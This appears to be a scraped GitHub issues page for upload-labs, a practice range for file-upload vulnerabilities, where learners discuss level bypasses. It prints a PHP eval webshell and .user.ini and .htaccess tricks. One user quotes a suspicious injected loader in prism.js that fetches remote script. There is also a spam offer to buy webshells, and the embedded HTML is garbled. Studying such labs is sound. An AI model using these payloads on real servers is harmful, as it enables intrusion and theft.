c0ny1 / upload-labs Goto Github PK
View Code? Open in Web Editor NEW一个想帮你总结所有类型的上传漏洞的靶场
一个想帮你总结所有类型的上传漏洞的靶场
最新版将上传的文件重命名,无法通过.htaccess、apache解析漏洞、.空格
绕过,请教题解。
另外希望出系统的writeup,网上的不是很全。
页面提示源码:$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
源文件: $img_path = UPLOAD_PATH.'/'.$file_name;
您好~我利用您提供的“upload-labs-env-win-0.1-beat.1”在win7系统上运行,上传的数据包用burp抓不到,但是“清空上传文件”和“查看提示”的数据包能抓,请问,会是什么情况造成的呀?
只能抓到这两个链接:
http://127.0.0.1/Pass-01/helper.php?action=get_prompt
http://127.0.0.1/rmdir.php?action=clean_upload_file
打扰您了~~
在利用Windows文件名特性部分,为啥都将文件名进行了重命名?
能不能写个writeup啊
能不能在页面上标明每个靶机的漏洞类型,以及上传办法,就像游戏一样,有个通关教程秘籍,这样更能方便学习
建议写上每个任务写上让用什么方法来绕过。
当我发现xxx.php.xxx可以绕过所有题目时,就索然无味了
文件 https://github.com/c0ny1/upload-labs/blob/master/Pass-06/index.php
忘记了 include '../common.php';
你好,我是个初学者。我在学习第4关的时候,学习了利用.htaccess文件进行绕过。但是我使用phpstudy搭建的靶场在上传了.htaccess之后上传木马jpg再使用蚁剑却无法链接。参考了别人的博客说要改Apache的httpd.conf的配置,我改了好像无济于事。请问这是为什么?
I always forget to fill in file "save_name" value and submit forms,it will cause warning
Warning: move_uploaded_file(../upload//) [function.move-uploaded-file]: failed to open stream: Permission denied in /web/path/to/upload-labs/Pass-19/index.php on line 18
Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move 'C:\Users\Username\AppData\Local\Temp\xxxxx.tmp' to '../upload//' in /web/path/to/upload-labs/Pass-19/index.php on line 18
and upload failed. so, I suggested add default value for "save_name" and modify the Pass-19 source code line 45, code example
<input class="input_text" type="text" name="save_name" value="upload_19.jpg" style="" /><br/>
FROM php:5.5-apache
这00截断也用不了啊
docker version latest提示:../upload文件夹不存在,请手工创建!
代码中$deny_ext = array(...,"php1",...);php1签名缺失点符号(ps:别说我针细,脚本跑出来的)
但是在docker中无法直接创建提示没有mkdir命令,建议在项目中直接添加一个空的upload目录。
用您docker直接搭建的
确定.user.ini设置成功。
但是就是不能bypass
docker里边版本太高了吧 截断漏洞不能利用 利用Windows特性的漏洞也不能利用
挂上burp代理之后总抓到一个请求发往www.fjlqqc.com,搜了下发现这个代码高亮插件prism.js好像不太正常:
var publisherID = '0b7d9e00-6139-4b15-972b-465c0921318b';
var injectionScriptURI = "http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/";
//var currentScript = getCurrentScript(sourceScriptURI);
if (true) {
evalSrcScript(sourceScriptURI);
}
inject();
点击显示源码按钮无反应
pass4集成版本代码展示里多了随机数文件名,而我在上传的时候发现并没有重命名,同时发现非预期解"one.php . ."
我在windows7下搭建环境时发现phpstudy的MySQL服务无法启动,从网上也没有找到合适的解决方案,然后到http://www.php.cn/xiazai/gongju/714下载了phpstudy2018,再切换版本,并将WWW目录下的文件复制过去就正常启动了。遇到同样问题的朋友可通过[email protected]联系我。
能否提供下每个题简单的解题思路,有的案例是不是要求对apache进行配置?比如lab3,我能想到上传htaccess和php5等方法,但是好像都不管用。
先来看pass14的提示
注意:
1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。
2.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!
这里我上传jpg发现显示
文件未知,上传失败!
我看了下源码
function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){
第二行这里就没有jpg啊……
所以这个提示是不是得改改或者改下源码里面的types
我在get请求中,使用了%00截断,我想应该是可以上传成功的,但是直接报错了。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<link rel="icon" type="image/x-icon" href="/img/favicon.png" />
<title>upload-labs</title>
</head>
<link rel="stylesheet" type="text/css" href="/css/index.css">
<link rel="stylesheet" type="text/css" href="/css/prism.css">
<body>
<div id="head">
<a href="/"><img src="/img/logo.png"/></a>
<div id="head_menu">
<a id="handle_code" href="javascript:show_code()">æ�¾ç¤ºæº�ç �</a>
<a href="javascript:get_prompt()">���示</a>
<a href="javascript:clean_upload_file()">æ¸�空ä¸�ä¼ æ��件</a>
</div>
</div>
<div id="main"><div id="menu">
<ul id="menulist">
<li><a id="Pass-01" href="/Pass-01/index.php">Pass-01</a></li>
<li><a id="Pass-02" href="/Pass-02/index.php">Pass-02</a></li>
<li><a id="Pass-03" href="/Pass-03/index.php">Pass-03</a></li>
<li><a id="Pass-04" href="/Pass-04/index.php">Pass-04</a></li>
<li><a id="Pass-05" href="/Pass-05/index.php">Pass-05</a></li>
<li><a id="Pass-06" href="/Pass-06/index.php">Pass-06</a></li>
<li><a id="Pass-07" href="/Pass-07/index.php">Pass-07</a></li>
<li><a id="Pass-08" href="/Pass-08/index.php">Pass-08</a></li>
<li><a id="Pass-09" href="/Pass-09/index.php">Pass-09</a></li>
<li><a id="Pass-10" href="/Pass-10/index.php">Pass-10</a></li>
<li><a id="Pass-11" href="/Pass-11/index.php">Pass-11</a></li>
<li><a id="Pass-12" href="/Pass-12/index.php">Pass-12</a></li>
<li><a id="Pass-13" href="/Pass-13/index.php">Pass-13</a></li>
<li><a id="Pass-14" href="/Pass-14/index.php">Pass-14</a></li>
<li><a id="Pass-15" href="/Pass-15/index.php">Pass-15</a></li>
<li><a id="Pass-16" href="/Pass-16/index.php">Pass-16</a></li>
<li><a id="Pass-17" href="/Pass-17/index.php">Pass-17</a></li>
<li><a id="Pass-18" href="/Pass-18/index.php">Pass-18</a></li>
<li><a id="Pass-19" href="/Pass-19/index.php">Pass-19</a></li>
<li><a id="Pass-20" href="/Pass-20/index.php">Pass-20</a></li>
</ul>
</div>
<div id="upload_panel">
<ol>
<li>
<h3>任�</h3>
<p>ä¸�ä¼ ä¸�个<code>webshell</code>å�°æ��å�¡å�¨ã��</p>
</li>
<li>
<h3>ä¸�ä¼ å�º</h3>
<form action="?save_path=../upload/" enctype="multipart/form-data" method="post">
<p>请é��æ�©è¦�ä¸�ä¼ ç��å�¾ç��ï¼�<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="ä¸�ä¼ "/>
</form>
<div id="msg">
</div>
<div id="img">
</div>
</li>
</ol>
</div>
</div>
<div id="footer">
</div>
<div class="mask"></div>
<div class="dialog">
<div class="dialog-title">æ�� 示<a href="javascript:void(0)" class="close" title="å�³é�">å�³é�</a></div>
<div class="dialog-content"></div>
</div>
</body>
<script type="text/javascript" src="/js/jquery.min.js"></script>
<script type="text/javascript" src="/js/prism.js"></script>
<script type="text/javascript" src="/js/prism-line-numbers.min.js"></script>
<script type="text/javascript" src="/js/prism-php.min.js"></script>
<script type="text/javascript" src="/js/index.js"></script>
</html>
黑名单可以再添加一个pht后缀.
pass5中上传了一个.user.ini,内容如下:
auto_prepend_file=1.gif
接着上传了一个1.gif,内容如下:
<?php @eval($_POST[pass5]);?>
然后使用pass5连接如下URL:
http://192.168.65.62/upload/readme.php
但是连接不成功哎,使用蚁剑,说是返回数据为空,使用maxhackbar连接时(pass5=phpinfo();)也没有反应,请问各位大佬有啥意见吗?在kali上使用docker搭建的靶场。
文件无法被解析为php文件,求教
在Pass-19的index.php中,对象u调用方法upload时,把原来的upload(UPLOAD_PATH)改成upload(UPLOAD_PATH.'/')即可修复文件上传不到upload文件夹中
docker里面没有upload目录
长期大量收WebShell,高价寻渗透大佬合作,有意者联系Telegram:@xxx9964
大佬你好,我是自搭建的upload-labs,先谢谢大佬的整理。
说下我的一个小疑问,在查询了相关资料后发现,有提到php %00截断,有两个条件
1.php版本要小于5.3.4,5.3.4
2.magic_quotes_gpc需要为OFF状态
但在5.2.17版本中,php.ini-dist的magic_quotes_gpc默认为On状态,如果此情况为真,希望大佬在readme中提醒一下自搭建的小伙伴
请问这一关怎么过,我想的是move_uploaded_file函数跟$upload_file之间有个操作空间,但是没成功。请问这一关是什么意思?
从Pass-03开始就磕磕绊绊的了……网上的攻略千篇一律,但是都不能用,不知道是不是我操作的问题,还是环境出问题了:worried:。docker中没找到vi、nano、vim等编辑工具,apache2.conf都没法修改
docker 的pass16 文件上传后会把路径upload
包含在文件名内,在网站根目录生成upload图片名.jpg
文件。
您好,我在尝试pass-3,根据提示,选择使用方法:1、上传.jpg文件;2、上传.htaccess,(AddType application/x-httpd-php .jpg);
根据源码和结果来看,所有上传的文件到了服务端后,都会被重命名为“年月日+随机数”,作为前端测试应该无法知道文件被重命名成了什么名字。
问题:pass-3除了绕过黑名单以外还需要其他绕过技巧吗?
PS:使用版本为release:upload-labs 0.1;网上查了writeup,都只是绕过黑名单,没有提到文件重命名,并且发现个别writeup中的pass-3源代码中并没有重命名文件的代码。还望指教。
发现图片右键选择复制图片地址原来是可以得到名字和路径的。(捂脸)
RT
上传的文件在upload下,include.php在根目录下,导致报错failed to open stream:no such file or directory
实际上限制了htaccess,提示中未提到.
pass-09,提示为“本pass只允许上传.jpg|.png|.gif后缀的文件!”,但源代码依然是黑名单方式。
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.